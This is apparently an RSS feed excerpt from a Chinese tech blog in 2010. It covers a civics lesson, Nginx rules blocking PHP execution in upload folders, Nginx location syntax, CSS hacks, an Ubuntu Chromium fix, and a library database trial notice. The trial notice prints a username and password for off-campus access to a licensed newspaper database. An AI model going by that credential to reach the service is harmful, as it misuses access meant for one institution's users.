<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 86 )总结上：上述一些守则显然有其产生的文化背景，中国人对一些行为 (如人与人距离、交谈的声量)阐释可能和美国人不同最重要的是掌握这些风度、谦让等守规最终是要表达一种 “觉醒” (awareness)，是对他人的存在和需要的一种关切。自然懂得用文明方式去过公共生活。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 87 )谢谢陈健民先生我们用的是他书面教材，因此无法与他面对面交谈希望下次有机会请他真正来微博。翟评:对比我们中国网友制定的公民守则,你会发现美国公民守则是生活化的,没有主义,没有爱国或宏大字眼.非常明确人己界限,从公民守则制定上我们就可以看出两国公民意识的差异.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 88 )两个守则，共同点是都有保护环境，可能如捍卫他人权利，捍卫他人说话权在美国已是家喻户晓的东西了，所以没写进守则，还有，我们的教育容易让我们用条例式或抽象的方式考虑问题，而不是生活化的。公民守则应当界定公共交往，而不是个人的各种道德观点。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">(89 )<span style="color:#0000ff;">陈健民先生认为在西方，修养和公民性的英语都是 civility，或者我们就称之为「公民修养」吧。此字的字根是拉丁文 civitas，代表城市。此字亦是 “文明” (civilization)的字根，</span>可见早年西方社会已认为城市生活有开启民智和教化礼仪的功能，令人进入文明的殿堂。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 90 )翟评:因此公民素质往往是城市公共交往中的修养条件,西方的公民意识来源于此.也许这也是中国网友们制定的公民守则与美国公民守则差异的源头所在</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 91 )我想,这节课说明,只要有合适场合,每一个人都可以做一回公民教员,您同样可请学生们做公民守则委员会的游戏,让他们自订守则,讨论公民素质,后宣读美国公民守则,使学生们对此印象深刻,所需时间大约半小时四十分钟.有时做公民教员并不难。你可以试一试。祝你成功。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 92 )各位有没有信心，请试一试，在小学，中学，大学，工作单位都可以，不过要吸收我的教训，在微博上前半场我的节奏慢了。在真实课堂上互动表决都可以很快的。所以时间要比微博上短得多。请大家放心一试。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 93 )本堂课我主要选读了陈健民先生解释的美国公民守则,如果你觉得似乎不够刺激或没有激愤高义而有点失望的话，我想说:“道在日常中，公民素质和文化程度无关，与职业地位无关。公民之道在我们的生活，张闻天说：生活的理想是为了理想的生活，公民素质确为我们的生活而来。”</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 94 ) 公民课第二课结束了,谢谢大家参与.正好是零点零零分。下堂课见.</p>]]></description>
	<pubDate>Fri, 12 Nov 2010 12:34:38 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/lesson-2</guid>

</item>
<item>
	<title>Nginx上传目录禁止PHP运行</title>
	<link>http://www.holmesian.org/nginx_no_php</link>
	<description><![CDATA[<p>&nbsp;
<meta http-equiv="content-type" content="text/html; charset=utf-8" /><span class="Apple-style-span" style="font-family: arial, sans-serif; border-collapse: collapse; font-size: 13px; ">为了安全起见,我们一般会对上传目录禁止运行php脚本
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">在<strong>apache</strong>下面我们可以通过：</div>
<blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;Directory /website/attachments&gt;</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">php_flag engine off</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;/Directory&gt;</div>
</blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">的方式来来禁用目录下文件php执行权限。</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">那么在<strong>nginx</strong>里面同样可以实现这种方法，那就是location的优先匹配，关于location可以参考<a href="http://www.holmesian.org/nginx_location/">刚才的文章</a></div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp;</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">这里简单就举个例子</div>
<blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">location ^~ /attachments/</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&#123;</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">access_log &nbsp;off;</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&#125;</div>
</blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">这样 attachments这个目录 就不会再去跳转给fastcgi去执行php了.这里利用了nginx下location指令的处理顺序优先级特点.</div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">但上面的方法只能算一种技巧,一般不这样设置,正确的方法为:</div>
<blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><span style="font-family: Tahoma, Helvetica, SimSun, sans-serif, Hei; line-height: 21px; font-size: 14px; border-collapse: collapse; color: rgb(68, 68, 68); ">location /upload/ &#123;<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
location ~&nbsp;&nbsp;.*\.(php)?$<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
&#123;<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
deny all;&nbsp;&nbsp;<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
&#125;<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
&#125;</span></div>
</blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><span style="font-family: Tahoma, Helvetica, SimSun, sans-serif, Hei; line-height: 21px; font-size: 14px; border-collapse: collapse; color: rgb(68, 68, 68); "><br />
</span></div>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">而对于多个目录的话,可以一起进行限定:</div>
<blockquote>
<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><span style="font-family: Tahoma, Helvetica, SimSun, sans-serif, Hei; line-height: 21px; font-size: 14px; border-collapse: collapse; color: rgb(102, 102, 102); ">location ~* ^/(attachments&#124;images)/.*\.(php&#124;php5)$<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
&#123;<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
deny all;<br style="word-wrap: break-word; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " />
&#125;</span></div>
</blockquote></span></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/boblog-bugs">BoBlog任意变量覆盖漏洞</a></p><p><a href="http://www.holmesian.org/aokhost">发现一个不错的免费空间</a></p><p><a href="http://www.holmesian.org/Discuz-x15-bug">最新Discuz! X1- 1.5 exp 0DAY</a></p><p><a href="http://www.holmesian.org/post/525">邂逅一个团队？</a></p><p><a href="http://www.holmesian.org/mstsc_patch">拒绝远程连接泄露你的信息</a></p><p><a href="http://www.holmesian.org/sth-about-wifi">无线网络及无线路由使用的一些知识</a></p></div>]]></description>
	<pubDate>Fri, 12 Nov 2010 11:59:44 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/nginx_no_php</guid>

</item>
<item>
	<title>Nginx的location用法备忘</title>
	<link>http://www.holmesian.org/nginx_location</link>
	<description><![CDATA[<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"></p>
<p>Nginx的配置文件相当的漂亮，配合适当的缩进和约定的格式看起来跟漂亮的代码一样。</p>
<p>Nginx中最基本也是最实用的一个命令就是location了，location必须放在server中，现在摘录一些相关的文档以备忘。</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"> </p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;"><strong>基本语法</strong></p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">location [<span style="color:#0000ff;">=</span>|<span style="color:#0000ff;">~</span>|<span style="color:#0000ff;">~*</span>|<span style="color:#0000ff;">^~</span>] /<span style="color:#0000ff;">uri</span>/ {&nbsp;<span style="color:#0000ff;">…</span>&nbsp;}</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">= 严格匹配。如果这个查询匹配，那么将停止搜索并立即处理此请求。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">~ 为区分大小写匹配</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">~* 为不区分大小写匹配</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">!~和!~*分别为区分大小写不匹配及不区分大小写不匹配</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">^~ 如果把这个前缀用于一个常规字符串,那么告诉nginx 如果路径匹配那么不测试正则表达式。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;"></p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;"><strong>例如:</strong></p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">location = / { # 只匹配 / 查询。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">location / { # 匹配任何查询，因为所有请求都已 / 开头。但正则表达式规则和长的块规则将被优先和查询匹配。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">location ^~ /images/ { # 匹配任何已 /images/ 开头的任何查询并且停止搜索。任何正则表达式将不会被测试。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">location ~* \.(gif|jpg|jpeg)$ { # 匹配任何以 gif、jpg 或 jpeg 结尾的请求。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;"><strong>++ 文件及目录匹配</strong></p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">* -f和!-f用来判断是否存在文件</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">* -d和!-d用来判断是否存在目录</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">* -e和!-e用来判断是否存在文件或目录</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">* -x和!-x用来判断文件是否可执行</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;"><strong>++ 一些可用的全局变量</strong></p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>$args</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$content_length</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$content_type</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$document_root</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$document_uri</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$host</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$http_user_agent</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$http_cookie</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$limit_rate</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$request_body_file</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$request_method</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$remote_addr</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$remote_port</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$remote_user</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$request_filename</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$request_uri</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$query_string</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$scheme</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$server_protocol</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$server_addr</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$server_name</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$server_port</span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$uri</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>$args

$content_length

$content_type

$document_root

$document_uri

$host

$http_user_agent

$http_cookie

$limit_rate

$request_body_file

$request_method

$remote_addr

$remote_port

$remote_user

$request_filename

$request_uri

$query_string

$scheme

$server_protocol

$server_addr

$server_name

$server_port

$uri</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">&nbsp;</p>
<p></p>
<p>Location必须放在server中</p>
<p>这个指令随URL不同而接受不同的结构。你可以配置使用常规字符串和正则表达式。如果使用正则表达式，你必须使用 ~* 前缀选择不区分大小写的匹配或者 ~ 选择区分大小写的匹配。</p>
<p>确定 哪个location 指令匹配一个特定指令，常规字符串第一个测试。常规字符串匹配请求的开始部分并且区分大小写，最明确的匹配将会被使用（查看下文明白 nginx 怎么确定它）。然后正则表达式按照配置文件里的顺序测试。<span style="color:#0000ff;">找到第一个比配的正则表达式将停止搜索。如果没有找到匹配的正则表达式，使用常规字符串的结果。</span></p>
<p>有两个方法修改这个行为。第一个方法是使用 “=”前缀，将只执行严格匹配。如果这个查询匹配，那么将停止搜索并立即处理这个请求。例子：如果经常发生”/”请求，那么使用 “location = /” 将加速处理这个请求。</p>
<p>第二个是使用 ^~ 前缀。如果把这个前缀用于一个常规字符串那么告诉nginx 如果路径匹配那么不测试正则表达式。</p>
<p>而且它重要在于 NGINX 做比较没有 URL 编码，所以如果你有一个 URL 链接’/images/%20/test’ , 那么使用 “images/ /test” 限定location。</p>
<p><strong>总结，指令按下列顺序被接受:</strong><br />
1. = 前缀的指令严格匹配这个查询。如果找到，停止搜索。<br />
2. 剩下的常规字符串，长的在前。如果这个匹配使用 ^~ 前缀，搜索停止。<br />
3. 正则表达式，按配置文件里的顺序。<br />
4. 如果第三步产生匹配，则使用这个结果。否则使用第二步的匹配结果。</p>
<p>例子：</p>
<blockquote>
<p>location = / {<br />
# 只匹配 / 查询。<br />
[ configuration A ]<br />
}</p>
</blockquote>
<blockquote>
<p>location / {<br />
# 匹配任何查询，因为所有请求都已 / 开头。但是正则表达式规则和长的块规则将被优先和查询匹配。<br />
[ configuration B ]<br />
}</p>
</blockquote>
<blockquote>
<p>location ^~ /images/ {<br />
# 匹配任何已 /images/ 开头的任何查询并且停止搜索。任何正则表达式将不会被测试。<br />
[ configuration C ]<br />
}</p>
</blockquote>
<blockquote>
<p>location ~* \.(gif|jpg|jpeg)$ {<br />
# 匹配任何已 gif、jpg 或 jpeg 结尾的请求。然而所有 /images/ 目录的请求将使用 Configuration C。<br />
[ configuration D ]<br />
}</p>
</blockquote>
<p><strong>例子请求:</strong></p>
<p>/ -&gt; configuration A</p>
<p>/documents/document.html -&gt; configuration B</p>
<p>/images/1.gif -&gt; configuration C</p>
<p>/documents/1.jpg -&gt; configuration D</p>
<p>注意：按任意顺序定义这4个配置结果将仍然一样。&nbsp;<b><br />
</b></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Nginx-apache-ip">Nginx做前端时让Apache能得到真实IP的做法</a></p><p><a href="http://www.holmesian.org/nginx_no_php">Nginx上传目录禁止PHP运行</a></p><p><a href="http://www.holmesian.org/Nginx-error-page">更改Nginx的原生错误提示</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p><p><a href="http://www.holmesian.org/nginx-bug">Nginx的高危漏洞</a></p><p><a href="http://www.holmesian.org/Nginx_resolver">Nginx解决“no resolver defined to resolve xxx.xxx”</a></p></div>]]></description>
	<pubDate>Fri, 12 Nov 2010 11:49:31 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/nginx_location</guid>

</item>
<item>
	<title>今天服务器竟然被关停了一下午……</title>
	<link>http://www.holmesian.org/stop_1</link>
	<description><![CDATA[<p>&nbsp;现在终于恢复了，原因是由于服务器上有未备案的域名。学校相关的老师说是电信接到省工信部的直接通知要求关闭的，今晚不处理估计明天全校的网络都会被关停&hellip;&hellip;悲剧啊&hellip;&hellip;</p>
<p>原来上次全校的网络都被封停是理工学院那边导致的啊&hellip;&hellip;唉&hellip;&hellip;有关部门某些情况下真的是&ldquo;相当迅速&rdquo;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/MySQL-BinLog">MySQL服务器的log-bin功能</a></p><p><a href="http://www.holmesian.org/post/530">老服务器上发现了个这。。。</a></p><p><a href="http://www.holmesian.org/DELL_Boot_failed">DELL服务器“strike the f1 to continue f2 to run the setup utility”</a></p><p><a href="http://www.holmesian.org/mstsc_patch">拒绝远程连接泄露你的信息</a></p><p><a href="http://www.holmesian.org/Google_Hardware">Google服务器现身江湖</a></p><p><a href="http://www.holmesian.org/post/560">期中考试结束</a></p></div>]]></description>
	<pubDate>Fri, 12 Nov 2010 10:37:15 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/stop_1</guid>

</item>
<item>
	<title>解决CSS兼容性问题的Tips</title>
	<link>http://www.holmesian.org/CSS-hack</link>
	<description><![CDATA[<div><div>不同浏览器下解决CSS布局兼容性问题时可以用到的一些小Tips</div>
<div>刚好看到了，留下来存档一下：</div>
<div>height:100px; &nbsp;/*正常情况*/ &nbsp;</div>
<div>[;color:#0F0;] &nbsp;/* Sa,CH */ &nbsp;</div>
<div>height:100px\9; /*IE全部系列*/ &nbsp;</div>
<div>*height:100px; &nbsp;/*IE6 IE7识别*/ &nbsp;</div>
<div>_height:100px; &nbsp;/*IE6识别*/ &nbsp;</div>
<div>height:100px\0; &nbsp;/*IE8识别*/ &nbsp;</div>
<div>&nbsp;</div>
</div>
<div><br />
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/531">服务器大清理</a></p><p><a href="http://www.holmesian.org/TServe">修复远程桌面问题</a></p><p><a href="http://www.holmesian.org/xiaomi-charge">小米手机电量显示错误</a></p><p><a href="http://www.holmesian.org/NetworkManager-resolv_conf"> Ubuntu10.04的resolv.conf会重置的解决办法</a></p><p><a href="http://www.holmesian.org/ESXi-Snap-Error">记一次修复ESXi的快照混乱问题的解决</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p></div>]]></description>
	<pubDate>Thu, 11 Nov 2010 12:41:53 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/CSS-hack</guid>

</item>
<item>
	<title>PressDisplay报纸库</title>
	<link>http://www.holmesian.org/PressDisplay</link>
	<description><![CDATA[<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8" /><span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: 13px; ">
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 13px; ">数据库简介：</strong></p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  PressDisplay报纸库由Swets公司代理，解决了读者长期反映的国外报纸到货延迟和缺期的烦恼，并满足对多语种文献的需求。该库收录了来自全世界90余个国家40余种语言的1900多份全球知名的报纸，如：华尔街日报The Wall Street Journal、华盛顿邮报The Washington Post、今日美国USA Today、卫报The Guardian、观察家报The Observer、每日快讯Daily Express、每日电讯The Daily Telegraph、每日镜报Daily Mirror、中国日报China Daily、远东经济评论Far Eastern Economic Review等。语种包括英语、俄语、德语、日语、韩语、阿拉伯语、西班牙语、法语、波兰语、葡萄牙语等40余种。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  PressDisplay报纸库特点：每日更新，可以看到当天的报纸；保持印本报纸的原始版面；收录每期报纸的全部内容；具备8种标准语音的播放功能；支持11种语言翻译；无需下载或安装任何软件；可多种比例的放大浏览。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  试用网址：<a href="http://library.pressdisplay.com/" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; text-decoration: none; font-size: 13px; ">http://library.pressdisplay.com</a></p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  访问方式：学校IP范围内，无需用户名、密码</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  学校IP范围外，用户名：<a href="mailto:ecjtu@library.pressdisplay.com" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; text-decoration: none; font-size: 13px; ">ecjtu@library.pressdisplay.com</a>&nbsp;密码：pd2010</p>
<p align="left" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  试用时间：2010年11月8日至2011年2月8日</p>
<p align="left" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">  欢迎广大师生试用！在使用中有什么问题或好的建议，请与图书馆参考咨询部联系，电话:0791-7046516 电子邮件:&nbsp;<a href="mailto:libref@ecjtu.jx.cn" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; text-decoration: none; font-size: 13px; ">libref@ecjtu.jx.cn</a></p>
<p align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">图书馆</p>
<p align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; line-height: 22px; font-size: 13px; ">2010年11月9日</p>
</span></p>
<p>&nbsp;</p>]]></description>
	<pubDate>Tue, 09 Nov 2010 05:43:55 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/PressDisplay</guid>

</item>
<item>
	<title>Ubuntu10.04下chromium无法输入内容</title>
	<link>http://www.holmesian.org/ubuntu-chromium</link>
	<description><![CDATA[<p>最近发现在Ubuntu10.04下使用chromium浏览器的时候,如果按了向前删除的backspace键之后，就会出现无法想Chrome浏览器输入任何内容的情况，解决这个问题至少需要切换一次输入法，因为我用的是ibus所有纠结了很久在ibus上找原因，但是在Opera和Firefox上没有出现类似的问题，结果最终确定问题出在Chrome与ibus的兼容性上，我的具体版本是7.0.517.41 (62167) Ubuntu 10.04+IBus 1.3.8。</p>
<p>&nbsp;</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"></p>
<p>解决的办法是添加PPA的更新源后将相应的软件升级。</p>
<p>&nbsp;<pre class="brush:shell; toolbar: true; auto-links: true;">sudo add-apt-repository ppa:shawn-p-huang/ppa
 
sudo apt-get update
 
sudo apt-get dist-upgrade</pre></p>
<p>值得注意的是sudo add-apt-repository ppa:shawn-p-huang/ppa添加更新源之后需要重启才能真正地添加入更新源列表</p>
<p>&nbsp;</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8">因为这个问题是需要具体情况具体分析的，所以建议遇到类似情况的TX不妨参考一下这个帖子：<a style="color:#0000ff !important;" href="http://forum.ubuntu.org.cn/viewtopic.php?f=8&amp;t=295899">http://forum.ubuntu.org.cn/viewtopic.php?f=8&amp;t=295899</a> </p>
<p>&nbsp;</p>
<h3>而且目前即使将ibus、ibus-pinyin、Chrome全部都升级到最新版本依旧不能解决这个问题！</h3><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Ubuntu-Geexbox">Linux系统问题-Ubuntu-Geexbox</a></p><p><a href="http://www.holmesian.org/Ubuntu_inet6">Ubuntu9.10正确有效关闭IPV6的方法</a></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-USB">ubuntu下让VirtualBox客户机使用usb</a></p><p><a href="http://www.holmesian.org/ubuntu-start-up">关注Ubuntu启动慢</a></p><p><a href="http://www.holmesian.org/ubuntu-desktop-3d">终于解决ubuntu的3D桌面问题</a></p><p><a href="http://www.holmesian.org/ubuntu-service">ubuntu服务介绍</a></p></div>]]></description>
	<pubDate>Tue, 09 Nov 2010 03:32:01 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ubuntu-chromium</guid>

</item>
<item>
	<title>Ubuntu下禁用Pidgin烦人的好友在线状态提示</title>
